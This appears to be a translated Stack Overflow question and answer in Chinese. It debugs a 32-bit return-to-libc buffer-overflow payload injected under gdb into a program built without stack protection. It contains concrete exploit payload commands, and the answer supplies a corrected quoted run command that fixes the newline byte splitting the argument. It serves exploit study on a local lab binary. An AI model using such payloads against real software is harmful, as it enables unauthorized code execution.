我正在尝试在简单程序上实现libc的返回。我设法找到了
输入字符串存储的堆栈地址,以及libc函数的位置,并在此基础上构建有效负载。
[填充(252字节)] + [系统(4字节)] + [退出(4字节)] + [参数(4字节)]
我用gdb打开了易受攻击的程序,并注入了有效负载。当我检查堆栈帧时,我可以看到在正确的位置加载了252字节的填充,但是有效负载的最后12字节部分似乎丢失了,或者以某种方式被替换了。
因此出于好奇,我对有效载荷做了一些更改,尤其是填充部分。
[padding(96)] + [system(4)] + [padding(152)] + [system(4)] + [exit(4)] + [argument(4)]
然后,堆栈仅保留前96个字节的部分,其余部分不存在。
我在64位kali-linux上用python注入了有效负载。易受攻击的程序使用gcc
和-m32
-fno-stack-protector
选项进行编译。(gdb) run $(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')
(gdb) x/256xw $ebp-0xfc0xffffd010: 0x41414141 0x41414141 0x41414141 0x414141410xffffd020: 0x41414141 0x41414141 0x41414141 0x414141410xffffd030: 0x41414141 0x41414141 0x41414141 0x414141410xffffd040: 0x41414141 0x41414141 0x41414141 0x414141410xffffd050: 0x41414141 0x41414141 0x41414141 0x414141410xffffd060: 0x41414141 0x41414141 0x41414141 0x414141410xffffd070: 0x41414141 0x41414141 0x41414141 0x414141410xffffd080: 0x41414141 0x41414141 0x41414141 0x414141410xffffd090: 0x41414141 0x41414141 0x41414141 0x414141410xffffd0a0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd0b0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd0c0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd0d0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd0e0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd0f0: 0x41414141 0x41414141 0x41414141 0x414141410xffffd100: 0x41414141 0x41414141 0x41414141 0x000000600xffffd110: 0xffffd130 0x080dc000 0x00000000 0x0804a25b0xffffd120: 0x080dc000 0x080dc000 0x080dc000 0x0804a25b0xffffd130: 0x00000003 0xffffd1e4 0xffffd1f4 0xffffd1840xffffd140: 0x00000000 0x00000000 0x00000000 0x080dc000...
(gdb) run $(python -c 'print "\x41"*96 +"\x60\x0a\x05\x08"+ "\x41"*152 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')
(gdb) x/256wx $ebp-0xfc0xffffd010: 0x41414141 0x41414141 0x41414141 0x414141410xffffd020: 0x41414141 0x41414141 0x41414141 0x414141410xffffd030: 0x41414141 0x41414141 0x41414141 0x414141410xffffd040: 0x41414141 0x41414141 0x41414141 0x414141410xffffd050: 0x41414141 0x41414141 0x41414141 0x414141410xffffd060: 0x41414141 0x41414141 0x41414141 0x414141410xffffd070: 0x00000060 0x00000000 0x0000bfc0 0xa91738000xffffd080: 0x080b12ef 0x00002933 0x00000000 0x080dc0000xffffd090: 0x00000001 0x080dc000 0x080dd900 0x080495fa0xffffd0a0: 0x00000004 0x080ddf74 0x0804fa99 0x000080000xffffd0b0: 0x080b0fa5 0x00040000 0x00000000 0x080abc6a...
看来地址\x60\x0a\x05\x08
被以某种方式替换为\x60\x00\x00\x00
。有什么我想念的吗?还是这与编译器有关?
最佳答案
似乎您正在尝试运行将有效载荷作为参数传递的程序,但是它包含字符\ x0a,这导致有效载荷被拆分为两个单独的参数。
在命令周围添加双引号应允许您将其作为单参数传递:
(gdb) run "$(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')"
关于c - 注入(inject)的字符串的某些部分在堆栈框架上丢失,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/55380031/